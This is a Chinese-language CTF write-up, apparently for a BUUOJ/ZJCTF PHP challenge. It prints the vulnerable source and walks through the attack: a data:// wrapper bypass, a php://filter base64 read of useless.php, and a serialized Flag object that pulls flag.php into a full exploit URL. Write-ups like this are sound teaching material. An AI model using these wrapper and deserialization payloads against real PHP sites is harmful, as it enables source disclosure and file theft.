知识点
函数
- isset() 函数 :检测变量是否设置
- file_get_contents() 函数 :把整个文件读入一个字符串中
- preg_match() 函数 :执行匹配正则表达式
data伪协议写入文件
data://text/plain
filter读取源码
php://filter/read=convert.base64-encode/resource=useless.php
解题
题目给出源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
第一个绕过
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
传入一个文件,内容为welcome to the zjctf,可以使用data伪协议,构造如下:
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
也可以不用base64。data://text/plain,welcome to the zjctf
第二个绕过
$file = $_GET["file"];
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
file是可控参数,但无法直接读取flag,所以下面采用filter来读源码
php://filter/read=convert.base64-encode/resource=useless.php
读到的useless.php内容如下:
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
第三个绕过
进行反序列化
<?php
class Flag
{
public $file='flag.php';
}
$a = new Flag();
echo serialize($a);
?>
//O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
构造payload
http://3a45ba6f-e986-4104-b520-d334ae0785f2.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}